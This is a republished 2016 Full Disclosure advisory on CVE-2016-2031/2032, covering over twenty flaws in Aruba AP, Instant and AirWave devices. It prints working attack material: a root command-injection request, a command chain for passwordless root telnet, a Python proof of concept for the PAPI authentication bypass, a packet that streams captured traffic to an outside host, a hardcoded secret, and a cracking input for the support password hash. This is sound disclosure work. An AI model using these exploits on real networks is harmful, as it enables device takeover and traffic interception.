Headline

CVE-2016-2031: Full Disclosure: Aruba ArubaOS/Aruba Instant/AirWave Management

Multiple vulnerabilities exists in Aruba Instate before 4.1.3.0 and 4.2.3.1 due to insufficient validation of user-supplied input and insufficient checking of parameters, which could allow a malicious user to bypass security restrictions, obtain sensitive information, perform unauthorized actions and execute arbitrary code.

4 years ago

CVE

Open in Source

#vulnerability #web #mac #google #linux #rce #pdf #asus #auth #ssh #telnet #firefox #ssl

Full Disclosure mailing list archives****Aruba ArubaOS/Aruba Instant/AirWave Management - Multiple Vulnerabilities (CVE-2016-2031, CVE-2016-2032)

From: Sven Blumenstein <svbl () google com>
Date: Fri, 6 May 2016 09:09:57 +0200

Aruba ArubaOS/Aruba Instant/AirWave Management - Multiple Vulnerabilities

Introduction

Multiple vulnerabilities were identified in Aruba AP, IAP and AMP devices. The Vulnerabilities were discovered during a black box security assessment and therefore the vulnerability list should not be considered exhaustive. Several of the high severity vulnerabilities listed in this report are related to the Aruba proprietary PAPI protocol and allow remote compromise of affected devices.

Affected Software And Versions

ArubaOS (all versions)
AirWave Management Platform 8.x prior to 8.2
Aruba Instant (all versions up to, but not including, 4.1.3.0 and 4.2.3.1)

CVE

The following CVE were assigned to the issues described in this report:

CVE-2016-2031
CVE-2016-2032

Vulnerability Overview

AMP: RabbitMQ Management interface exposed
AMP: XSRF token uses weak calculation algorithm
AMP: Arbitrary modification of /etc/ntp.conf
AMP: PAPI uses static key for calculating validation checksum (auth bypass)
(I)AP: Insecure transmission of login credentials (GET)
(I)AP: Built in privileged “support” account
(I)AP: Static password hash for support account
(I)AP: Unusual account identified (“arubasecretadmin”)
(I)AP: Privileged remote code execution
(I)AP: Radius passwords allow arbitrary raddb commands
(I)AP: Unauthenticated disclosure of environment variables
(I)AP: Information disclosure by firmware checking functionality
(I)AP: Unauthenticated automated firmware update requests
(I)AP: Firmware updater does not check certificates
(I)AP: Forceful downgrade of FW versions possible
(I)AP: Firmware update check discloses machine certificate
(I)AP: Firmware is downloaded via unencrypted connection
(I)AP: Firmware update Challenge/Response does not protect the Client
(I)AP: Unencrypted private keys and certs
(I)AP: Potential signature private key
(I)AP: PAPI Endpoints exposed to all interfaces
(I)AP: PAPI Endpoint does not validate MD5 signatures
(I)AP: PAPI protocol encrypted with weak encryption algorithm
(I)AP: PAPI protocol authentication bypass
(I)AP: Broadcast with detailed system information (LLDP)
(I)AP: User passwords are encrypted with a static key

Vulnerability Details

AMP: RabbitMQ Management interface exposed

AMPs expose the management frontend for the RabbitMQ message queue on all interfaces via tcp/15672 and tcp/55672.

netstat -nltp | grep beam

tcp 0 0 127.0.0.1:5672 0.0.0.0:* LISTEN 2830/beam.smp tcp 0 0 127.0.0.1:17716 0.0.0.0:* LISTEN 2830/beam.smp tcp 0 0 0.0.0.0:15672 0.0.0.0:* LISTEN 2830/beam.smp tcp 0 0 0.0.0.0:55672 0.0.0.0:* LISTEN 2830/beam.smp

The password for the default user “airwave” is stored in the world readable file /etc/rabbitmq/rabbitmq.config in plaintext:

ls -l /etc/rabbitmq/rabbitmq.config

-rw-r–r-- 1 root root 275 Oct 28 15:48 /etc/rabbitmq/rabbitmq.config

grep default_ /etc/rabbitmq/rabbitmq.config

      {default\_user,<<"airwave">>},
      {default\_pass,<<"\*\*\*REMOVED\*\*\*">>}

AMP: XSRF token uses weak calculation algorithm

The XSRF token is calculated based on limited sources of entropy, consisting of the user’s time of login and a random number between 0 and 99999. The algorithm Is approximated by the following example Python script:

base64.b64encode(hashlib.md5(‘%d%5.5d’ % (int(time.time()), random.randint(0,99999))).digest())

AMP: Arbitrary modification of /etc/ntp.conf

Incorrect/missing filtering of input parameters allows injecting new lines and arbitrary commands into /etc/ntp.conf, when updating the NTP settings via the web frontend.

POST /nf/pref_network? HTTP/1.1 Host: 192.168.131.162 […]

id=&ip_1=192.168.131.162&hostname_1=foo.example.com& subnet_mask_1=255.255.255.248&gateway_1=192.168.131.161&dns1_1=172.16.255.1& dns2_1=&eth1_enabled_1=0&eth1_ip_1=&eth1_netmask_1=& ntp1_1=time1.example.com%0afoo&ntp2_1=time2.example.com&save=Save

The above POST requests results in the following ntp.conf being generated:

cat /etc/ntp.conf

[…] server time1.example.com foo server time2.example.com

AMP: PAPI uses static key for calculating validation checksum (auth bypass)

PAPI packets sent from an AP to an AMP are authenticated with a cryptographic checksum. The packet format is only partially known, as it’s a proprietary format created by Aruba. A typical PAPI packet sent to an AMP is as follows:

0000 49 72 00 02 64 69 86 2d 7f 00 00 01 01 00 01 00 Ir…di.-… 0010 20 1f 20 1e 00 01 00 00 00 01 3e f9 22 49 05 b3 . …>."I… 0020 50 89 40 d3 5d 9d d6 af 46 98 c1 a6 P.@.]…F…

The following dissection of the above shown packet gives a more detailed overview of the format:

49 72 ID 00 02 Version 64 69 86 2d PAPI Destination IP 7f 00 00 01 PAPI Source IP 01 00 Unknown1 01 00 Unknown2 20 1f PAPI Source Port 20 1e PAPI Destination Port 00 01 Unknown3 00 00 Unknown4 00 01 Sequence Number 3e f9 Unknown5 22 49 05 b3 50 89 40 d3 5d 9d d6 af 46 98 c1 a6 Checksum

The checksum is based on a MD5 hash of a padded concatenation of all fields and a secret token. The secret token is hardcoded in multiple binaries on the AMP and can easily be retrieved via core Linux system tools:

$ strings /opt/airwave/bin/msgHandler | grep asd asdf;lkj763

Using this secret token it is possible to craft valid PAPI packets and issue commands to the AMP, bypassing the authentication based on the shared secret / token. This can be exploited to compromise of the device. Random sampling of different software versions available on Aruba’s website confirmed that the shared secret is identical for all versions.

AP: Insecure transmission of login credentials (GET)

Username and password to authenticate with the AP web frontend are transmitted through HTTP GET. This method should not be used in a form that transmits sensitive data, because the data is displayed in clear text in the URL.

GET /swarm.cgi?opcode=login&user=admin&passwd=admin HTTP/1.1

The login URL can potentially appear in Proxy logs, the server logs or browser history. This possibly discloses the authentication data to unauthorized persons.

AP: Built in privileged “support” account

The APs provide a built in system account called "support". When connected to the restricted shell of the AP via SSH, issuing the command "support", triggers a password request:

00:0b:86:XX:XX:XX# support Password:

A quick internet search clarified, that this password is meant for use by Aruba engineers only: http://community.arubanetworks.com/t5/Unified-Wired-Wireless-Access/OS5-0-support-password/td-p/26760

Further research on that functionality lead to the conclusion that this functionality provides root-privileged shell access to the underlying operating system of the AP, given the correct password is entered.

AP: Static password hash for support account

The password hash for the “support” account mentioned in vulnerability #6 is stored in plaintext on the AP.

$ strings /aruba/bin/cli | grep ^bc5 bc54907601c92efc0875233e121fd3f1cebb8b95e2e3c44c14

Random sampling of different versions of Firmware images available on Aruba’s website confirmed that the password hash is identical for all versions. The password check validating a given “support” password is based on the following algorithm:

SALT + sha1(SALT + PASSWORD)

Where SALT equals the first 5 bytes of the password hash in binary representation. It is possible to run a brute-force attack on this hash format using JtR with the following input format:

support:$dynamic_25$c92efc0875233e121fd3f1cebb8b95e2e3c44c14$HEX$bc54907601

AP: Unusual account identified (“arubasecretadmin”)

The AP’s system user configuration contains a undocumented account called "arubasecretadmin". This account was the root cause for CVE-2007-0932 and allowed administrative login with a static password.

/etc/passwd: nobody:x:99:99:Nobody:/:/sbin/nologin root:x:0:0:Root:/:/bin/sh admin:x:100:100:Admin:/:/bin/telnet3 arubasecretadmin:x:101:100:Aruba Admin:/:/bin/telnet2 serial:x:102:100:Serial:/:/bin/telnet4

Further tests indicated that login with this account seems not possible as it is not mapped through Arubas authentication mechanisms. The reason for it being still configured on the system is unknown.

AP: Privileged remote code execution

Insufficient checking of parameters allows an attacker to execute commands with root privileges on the AP. The vulnerable parameter is “image_url” which is used in the Firmware update function.

GET /swarm.cgi?opcode=image-url-upgrade&ip=127.0.0.1&oper_id=6&image_url=Aries@http://10.0.0.1/?"`/usr/sbin/mini_httpd±d+/±u+root±p+1234±C+/etc/mini_httpd.conf`"&auto_reboot=false&refresh=true&sid=OWsiU5MM7DxVf9FRWe3P&nocache=0.9368100591919084 HTTP/1.1

The above example starts a new instance of mini_httpd on tcp/1234, which allows browsing the AP’s filesystem. The following list of commands, if executed in order, start a telnet service that allows passwordless root login.

killall -9 utelnetd touch /tmp/telnet_enable echo \#\!/bin/sh > /bin/login echo /bin/sh >> /bin/login chmod +x /bin/login /sbin/utelnetd

Connecting to the telnet service started by the above command chain:

telnet 10.0.XX.XX

Trying 10.0.XX.XX… Connected to 10.0.XX.XX. Escape character is '^]'. Switching to Full Access /aruba/bin # echo $USER root /aruba/bin #

Potential exploits of this vulnerability can be detected through the AP’s log file: […] Jan 1 02:43:47 cli[2052]: <341004> <WARN> |AP 00:0b:86:XX:XX:XX2 () 10 0 XX XX cli| http://10.0.XX.XX/?"`/sbin/utelnetd`"; […]

AP: Radius passwords allow arbitrary raddb commands

Insufficient checking of the GET parameter “cmd” allows the injection of arbitrary commands and configuration parameters in the raddb configuration.

Example: GET /swarm.cgi?opcode=config&ip=127.0.0.1&cmd=%27user%20foo%20foo%22,my-setting%3d%3d%22blah%20portal%0Ainbound-firewall%0Ano%20rule%0Aexit%0A%27&refresh=false&sid=Lppj9jT2xQmYKqjEx5eP&nocache=0.10862623626107548 HTTP/1.1

/aruba/radius/raddb/users: foo Filter-Id == MAC-GUEST, Cleartext-Password := “foo",my-setting=="blah”

As shown in the above example, inserting a double-quote in the password allows to add additional commands after the password.

AP: Unauthenticated disclosure of environment variables

It is possible to request a listing of environment variables by requesting a specific URL on the AP’s web server. The request does not require authentication.

GET /swarm.cgi?opcode=printenv HTTP/1.1

HTTP/1.0 200 OK Content-Type:text/plain; charset=utf-8 Pragma: no-cache Cache-Control: max-age=0, no-store

Environment variables

CHILD_INDEX=0 PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin LD_LIBRARY_PATH=/usr/local/lib:/usr/lib SERVER_SOFTWARE= SERVER_NAME=10.0.XX.XX GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0 SERVER_PORT=4343 REQUEST_METHOD=GET SCRIPT_NAME=/swarm.cgi QUERY_STRING=opcode=printenv REMOTE_ADDR=10.0.XX.XX REMOTE_PORT=58804 HTTP_REFERER=https://10.0.XX.XX:4343/ HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.3.0 HTTP_HOST=10.0.XX.XX:4343

AP: Information disclosure by firmware checking functionality

When the AP checks device.arubanetworks.com for a new firmware version, it sends detailed information of the AP in plaintext to the remote host.

POST /firmware HTTP/1.1 Host: device.arubanetworks.com Content-Length: 2 Connection: keep-alive X-Type: firmware-check X-Guid: 2dbe42XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX X-OEM-Tag: Aruba X-Mode: IAP X-Factory-Default: Yes X-Current-Version: 6.4.2.6-4.1.1.10_51810 X-Organization: ***REMOVED (Company Internal Name)*** X-Ap-Info: CC00XXXXX, 00:0b:86:XX:XX:XX, RAP-155 X-Features: 0000100001001000000000000000000000000000000000010000000

AP: Unauthenticated automated firmware update requests

The web frontend of the AP provides functionality to initiate an automated firmware update. Doing so triggers the AP to initiate communication with device.arubanetworks.com and automatically download and install a new firmware image. The CGI opcode for that automatic update is “image-server-check” and it was discovered that the “sid” parameter is not checked for this opcode. Therefor an attacker can issue the automatic firmware update without authentication by sending the following GET request to the AP.

GET /swarm.cgi?opcode=image-server-check&ip=127.0.0.1&sid=x

As shown above, the “sid” parameter has to be submitted as part of the URL, but can be set to anything. Although all opcode actions follow the same calling scheme, “image-server-check” was the only opcode where the session ID was not validated.

Combined with other vulnerabilities (#14, #15), this could be exploited to install an outdated, vulnerable firmware on the AP.

AP: Firmware updater does not check certificates

The communication between AP and device.arubanetworks.com is secured by using SSL. The AP does not do proper certificate validation for the communication to device.arubanetworks.com. A typical SSL MiTM attack using DNS spoofing and a self-signed certificate allowed interception of the traffic between AP and device.arubanetworks.com.

AP: Forceful downgrade of FW versions possible

When checking device.arubanetworks.com for a new firmware image, the AP sends it’s current version to the remote host. If there is no new firmware available, device.arubanetworks.com does not provide any download options. If the initial version sent from the AP is modified by an attacker (via MiTM), the remote server will reply with the current firmware version. The AP will then reject that firmware, as it’s current version is more recent/the same. Downgrading the version does also not work based on the validation the AP does. This behaviour can be overwritten if an attacker intercepts and modifies the reply from device.arubanetworks.com and adds X-header called "X-Mandatory-Upgrade".

Example of a spoofed reply from device.arubanetworks.com:

HTTP/1.0 200 OK Date: Wed, 11 Nov 2015 12:12:20 GMT Content-Length: 91 Content-Type: text/plain; charset=UTF-8 X-Activation-Key: FXXXXXXX X-Session-Id: 05d607dd-958b-42c4-a355-bd54e1a32e8e X-Status-Code: success X-Type: firmware-check X-Mandatory-Upgrade: true Connection: close

6.4.2.6-4.1.1.10_51810 23 http://10.0.0.1:4321/ArubaInstant_Aries_6.4.2.6-4.1.1.10_51810

As shown above, the Header “X-Mandatory-Upgrade” was added to the server’s reply. This causes the AP to skip its validation checks and accept any firmware version provided, regardless if it is the same or older than the current one.

AP: Firmware update check discloses machine certificate

While observing the traffic between an AP and device.arubanetworks.com, it was discovered that the AP discloses it’s machine certificate to the remote endpoint.

POST /firmware HTTP/1.1 Host: 10.0.XX.XX Content-Length: 2504 Connection: close X-Type: firmware-check X-Guid: 2dbe42XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX X-OEM-Tag: Aruba X-Mode: IAP X-Factory-Default: Yes X-Session-Id: e0b24fb1-e2f7-4e06-9473-1266b50a3fec X-Current-Version: 6.4.2.6-4.1.1.10_51810 X-Organization: ***REMOVED (Company Internal Name)*** X-Ap-Info: CC00XXXXX, 00:0b:86:XX:XX:XX, RAP-155 X-Features: 0000100001001000000000000000000000000000000000010000000 X-Challenge-Hash: SHA-1

-----BEGIN CERTIFICATE----- MIIGTjCCBTagAwI… […] -----END CERTIFICATE-----

The certificate sent in the above request is the same (in PEM format) as found under the following path on the AP:

/tmp/deviceCerts/certifiedKeyCert.der

Comparison of the certificate from the HTTP Request and from the AP filesystem:

$ sha256sum dumped-fw-cert.txt certifiedKeyCert.der.pem 68ebb521dff53d8dcb8e4a0467dcae38cf45a0d812897393632bdd9ef6f354e8 dumped-fw-cert.txt 68ebb521dff53d8dcb8e4a0467dcae38cf45a0d812897393632bdd9ef6f354e8 certifiedKeyCert.der.pem

AP: Firmware is downloaded via unencrypted connection

Firmware images are downloaded via unencrypted HTTP to the AP. An example reply containing the download paths looks as follows:

HTTP/1.1 200 OK Date: Wed, 11 Nov 2015 13:18:58 GMT Content-Length: 552 Content-Type: text/plain; charset=UTF-8 X-Activation-Key: FXXXXXXX X-Session-Id: 05d607dd-958b-42c4-a355-bd54e1a32e8e X-Status-Code: success X-Type: firmware-check Connection: close

6.4.2.6-4.1.1.10_51810 25 http://images.arubanetworks.com/fwfiles/ArubaInstant_Centaurus_6.4.2.6-4.1.1.10_51810 30 http://images.arubanetworks.com/fwfiles/ArubaInstant_Taurus_6.4.2.6-4.1.1.10_51810 15 http://images.arubanetworks.com/fwfiles/ArubaInstant_Cassiopeia_6.4.2.6-4.1.1.10_51810 10 http://images.arubanetworks.com/fwfiles/ArubaInstant_Orion_6.4.2.6-4.1.1.10_51810 23 http://images.arubanetworks.com/fwfiles/ArubaInstant_Aries_6.4.2.6-4.1.1.10_51810 26 http://images.arubanetworks.com/fwfiles/ArubaInstant_Pegasus_6.4.2.6-4.1.1.10_51810

An attacker could potentially MiTM connections to images.arubanetworks.com and possibly replace the firmware images downloaded by the AP.

AP: Firmware update Challenge/Response does not protect the Client

The update check process between AP and device.arubanetworks.com works as follows:

AP => device.arubanetworks.com POST /firmware X-Type: firmware-check

AP <= device.arubanetworks.com 200 OK X-Session-Id: bd4… X-Challenge: 123123…

AP => device.arubanetworks.com POST /firmware X-Session-Id: bd4…

[machine certificate] [signature]

AP <= device.arubanetworks.com 200 OK X-Session-Id: bd4…

    \[firmware image urls\]

When inspecting the communication process carefully, it is clear that the final response from device.arubanetworks.com does not contain any (cryptographic) signature. An attacker could impersonate device.arubanetworks.com, send an arbitrary challenge, ignore the response and just reply with a list of firmware images. The only thing that has to be kept the same over requests is the X-Session-Id header, which is also sent initially by the remote host and not the AP and therefore under full control of the attacker.

AP: Unencrypted private keys and certs

The AP firmware image contains the unencrypted private key and certificate for securelogin.arubanetworks.com issued by GeoTrust and valid until 2017. The key and cert was found under the path /aruba/conf/cpprivkey.pem.

$ openssl x509 -in cpprivkey.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 121426 (0x1da52) Signature Algorithm: sha1WithRSAEncryption Issuer: C=US, O=GeoTrust Inc., OU=Domain Validated SSL, CN=GeoTrust DV SSL CA Validity Not Before: May 11 01:22:10 2011 GMT Not After : Aug 11 04:40:59 2017 GMT Subject: serialNumber=lLUge2fRPkWcJe7boLSVdsKOFK8wv3MF, C=US, O=securelogin.arubanetworks.com, OU=GT28470348, OU=See www.geotrust.com/resources/cps ©11, OU=Domain Control Validated - QuickSSL® Premium, CN=securelogin.arubanetworks.com […]

$ openssl rsa -in cpprivkey.pem -check RSA key ok writing RSA key -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA…. […] -----END RSA PRIVATE KEY-----

AP: Potential signature private key

A potential SSL key was found under the path /etc/sig.key. Based on the header (3082xxxx[02,03]82), the file looks like a SSL key in DER format:

$ xxd etc/sig.key 00000000: 3082 020a 0282 0201 00d9 2d71 db0f decb 0…-q…

It was not possible to decode the key. Therefore it’s not 100% clear if is an actual key or just a garbaged file.

AP: PAPI Endpoints exposed to all interfaces

The PAPI endpoint “msgHandler” creates listeners on all interfaces. Therefore it is reachable via wired and wireless connections to the AP. This increases the potential attack surface.

netstat -nlu | grep :82

udp 0 0 :::8209 :::* udp 0 0 :::8211 :::*

Additionally the local ACL table of the AP contains a default firewall rule, permitting any traffic to udp/8209-8211, overwriting any manually set ACL to block access to PAPI:

00:0b:86:XX:XX:XX# show datapath acl 106 Datapath ACL 106 Entries

Flags: P - permit, L - log, E - established, M/e - MAC/etype filter S - SNAT, D - DNAT, R - redirect, r - reverse redirect m - Mirror I - Invert SA, i - Invert DA, H - high prio, O - set prio, C - Classify Media A - Disable Scanning, B - black list, T - set TOS, 4 - IPv4, 6 - IPv6 K - App Throttle, d - Domain DA

1: any any 17 0-65535 8209-8211 P4 […] 12: any any any P4 00:0b:86:XX:XX:XX#

AP: PAPI Endpoint does not validate MD5 signatures

MD5 signature validation for incoming PAPI packets is disabled on the AP:

ps | grep msgHandler

1988 root 508 S < /aruba/bin/msgHandler -n

/aruba/bin/msgHandler -h

usage: msgHandler [-d] [-n] -d = enable debug prints. -n = disable md5 signatures. -g = disable garbling.

The watchdog service (“nanny”) also restarts the PAPI handler with disabled MD5 signature validation:

grep msgH /aruba/bin/nanny_list

RESTART /aruba/bin/msgHandler -n

AP: PAPI protocol encrypted with weak encryption algorithm

PAPI packets sent to an AP contain an encrypted payload. The encryption seems to replace the MD5 signature check as described in #4 and used when PAPI is sent from AP to AMP. This might also explain why the PAPI endpoint runs with disabled MD5 signature verification on the AP (see #22).

The following example shows an encrypted PAPI packet for the command “show version” as received by the AP:

0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir… . 0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ … 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0040 00 00 00 00 00 00 00 00 00 00 00 00 97 93 93 93 … 0050 a9 97 93 93 92 6e 96 99 93 93 92 95 94 91 93 97 …n… 0060 93 93 93 93 93 93 87 e9 eb e1 fc d0 dc c6 e4 fd … 0070 fa e1 f7 e9 d1 a6 f7 e7 c5 eb f1 93 93 9e e0 fb … 0080 fc e4 b3 e5 f6 e1 e0 fa fc fd 99 …

Important parts of the above packet:

7f 00 00 01 Destination IP (127.0.0.1) 0a 00 00 01 Source IP (10.0.0.1) 3b 60 Destination Port (15200) 3b 7e Source Port (15230) 97 93 93 93-EOF Encrypted PAPI payload

Comparison of the above packet with a typical PAPI packet that is sent from the AP to the AMP quickly highlights the missing 0x00 that are used to pad certain fields of the PAPI payload. These 0x00 seem to be substituted with 0x93, which is a clear indication that the payload is “encrypted” with a 1 byte XOR. As XOR’ing 0x00 with 1 byte results in the same byte, the payload therefore discloses the key used and use of the weak XOR algorithm:

0x00: 00000000

^ 0x93: 10010011

      10010011 (0x93)

The following shows the above PAPI packet for “show version” with its payload decrypted:

0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir… . 0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ … 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0040 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 … 0050 3a 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04 :… 0060 00 00 00 00 00 00 14 7a 78 72 6f 43 4f 55 77 6e …zxroCOUwn 0070 69 72 64 7a 42 35 64 74 56 78 62 00 00 0d 73 68 irdzB5dtVxb…sh 0080 6f 77 20 76 65 72 73 69 6f 6e 0a ow version.

(The string starting with “zxr…” is a HTTP session ID, see #25 on details how to bypass this).

An example Python function for en-/decrypting PAPI payloads could look like this:

def aruba_encrypt(s): return '’.join([chr(ord© ^ 0x93) for c in s])

AP: PAPI protocol authentication bypass

Besides it’s typical use between different Aruba devices, PAPI is also used as an inter-process communication (IPC) mechanism between the CGI based web frontend and the backend processes on the AP. Certain commands that can be sent via PAPI are only supposed to be used via this IPC interface and not from an external source. Besides the weak “encryption” that is described in #23, some PAPI packets contain a HTTP session ID (SID), that matches the SID issued at login to the web frontend.

Example IPC packet (payload decrypted as shown in #23):

0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir… . 0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ … 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0040 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 … 0050 40 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04 @… 0060 00 00 00 00 00 00 14 7a 78 72 6f 43 4f 55 77 6e …zxroCOUwn 0070 69 72 64 7a 42 35 64 74 56 78 62 00 00 13 73 68 irdzB5dtVxb…sh 0080 6f 77 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e ow configuration 0090 0a .

The SID in the example shown is "zxroCOUwnirdzB5dtVxb". The 0x14 before that indicates the length of the 20 byte SID. If the session is expired or an invalid session is specified, the packet is rejected by the PAPI endpoint (msgHandler).

Replacing the 20 byte SID with 20 * 0x00, bypasses the SID check and therefore allows unauthenticated PAPI communication with the AP.

Example IPC packet (Session ID replaced with 20 * 0x00, payload not XOR’ed for readability):

0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir… . 0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ … 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0040 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 … 0050 40 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04 @… 0060 00 00 00 00 00 00 14 00 00 00 00 00 00 00 00 00 … 0070 00 00 00 00 00 00 00 00 00 00 00 00 00 13 73 68 …sh 0080 6f 77 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e ow configuration 0090 0a

Using the above example, it is possible to request the system configuration from an AP, bypassing all authentication methods.

If the above packet is sent using IPC from the webfrontend cgi to the backend, (localhost) the reply looks like follows:

msg_ref 303 /tmp/.cli_msg_SW9iVE

The cgi binary then reads this file and renders the content in the HTTP reply. If the PAPI packet comes from an external address (instead of localhost) the reply points to the APs web server (10.0.0.26 in this case) instead of /tmp/:

msg_ref 2689 http://10.0.0.26/.cli_msg_n011xh

Access to this file does not require authentication which raises the severity of this vulnerability significantly.

The following Python script is a proof of concept for this vulnerability, sending a “show configuration” packet to an AP with the IP address 10.0.0.26:

import socket def aruba_encrypt(s): return '’.join([chr(ord© ^ 0x93) for c in s]) header = ( ‘\x49\x72\x00\x03\x7f\x00\x00\x01\x0a\x00\x00\x01\x00\x00\x20\x13’ ‘\x3b\x60\x3b\x7e\x20\x04\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00’ ‘\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00’ ‘\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00’ ‘\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00’ ) payload = ( # show configuration ‘\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06’ ‘\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00’ ‘\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00’ ‘\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61’ ‘\x74\x69\x6f\x6e\x0a’ ) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('’, 1337)) sock.sendto(header + aruba_encrypt(payload), ('10.0.0.26’, 8211)) buff = sock.recvfrom(4096) print aruba_encrypt(buff[0])

Executing the above PoC:

python arupapi.py

[…]msg_ref 2689 http://10.0.0.26/.cli_msg_n011xh

Downloading the file referenced by the reply returns the full AP configuration, including all users, passwords and settings (no auth is required on the HTTP request either):

curl -Lk http://10.0.0.26/.cli_msg_n011xh

version 6.4.2.0-4.1.1 virtual-controller-country XX virtual-controller-key b49ff***REMOVED*** name instant-XX:XX:XX terminal-access clock timezone none 00 00 rf-band all […] mgmt-user admin f9ac59cd431e174fb07539a8a811a1aa […] (full configuration file continues)

For APs running in "managed mode", the above shown exploit does not work. The reason for that is, that these APs don’t provide a web server and have only a limited set of commands that can be executed via PAPI.

Additionally, APs in managed mode do not seem to use the XOR based “encryption” or MD5 checksums - there was no authentication/encryption found at all.

One interesting payload for APs in “managed mode” using the limited subset of available commands is the ability to capture traffic and send it to a remote endpoint via UDP. The example command on the controller would be:

(aruba_7030_1) #ap packet-capture raw-start ip-addr 192.168.0.1 100.105.134.45 1337 0 radio 0

This command would send all traffic of AP 192.168.0.1 from the first radio interface in PCAP format to 100.105.134.45:1337. Wrapped in PAPI, the Packet would look like this:

0000 49 72 00 03 c0 a8 00 01 7f 00 00 01 00 00 00 00 Ir… 0010 20 21 20 1c 20 04 01 48 14 08 36 b1 00 00 00 00 ! . …H…6… 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … 0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 65 …e 0050 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 4f 62 6a xecuteCommandObj 0060 65 63 74 02 06 02 04 03 00 08 03 00 08 00 00 04 ect… 0070 38 32 32 35 02 06 02 04 00 00 00 03 00 00 02 00 8225… 0080 02 01 04 00 00 00 08 00 00 02 41 50 00 00 02 41 …AP…A 0090 50 00 00 0e 50 41 43 4b 45 54 2d 43 41 50 54 55 P…PACKET-CAPTU 00a0 52 45 00 00 0e 50 41 43 4b 45 54 2d 43 41 50 54 RE…PACKET-CAPT 00b0 55 52 45 00 00 09 52 41 57 2d 53 54 41 52 54 00 URE…RAW-START. 00c0 00 09 52 41 57 2d 53 54 41 52 54 00 00 07 49 50 …RAW-START…IP 00d0 2d 41 44 44 52 00 00 0b 31 39 32 2e 31 36 38 2e -ADDR…192.168. 00e0 30 2e 31 00 00 09 74 61 72 67 65 74 2d 69 70 00 0.1…target-ip. 00f0 00 0e 31 30 30 2e 31 30 35 2e 31 33 34 2e 34 35 …100.105.134.45 0100 00 00 0b 74 61 72 67 65 74 2d 70 6f 72 74 00 00 …target-port… 0110 04 31 33 33 37 00 00 06 66 6f 72 6d 61 74 00 00 .1337…format… 0120 01 30 00 00 05 52 41 44 49 4f 00 00 01 30 04 00 .0…RADIO…0… 0130 00 00 00 02 00 02 01 02 00 02 00 00 00 04 73 65 …se 0140 63 61 00 00 04 72 6f 6f 74 ca…root

When sending this packet to an AP running in managed mode, it confirms the command and starts sending traffic to the specified host:

[…]<re><data name="Packet capture has started for pcap-id" pn="true">1</data></re>

AP: Broadcast with detailed system information (LLDP)

Aruba APs broadcast detailed system and version information to the wired networks via LLDP (Link Layer Discovery Protocol).

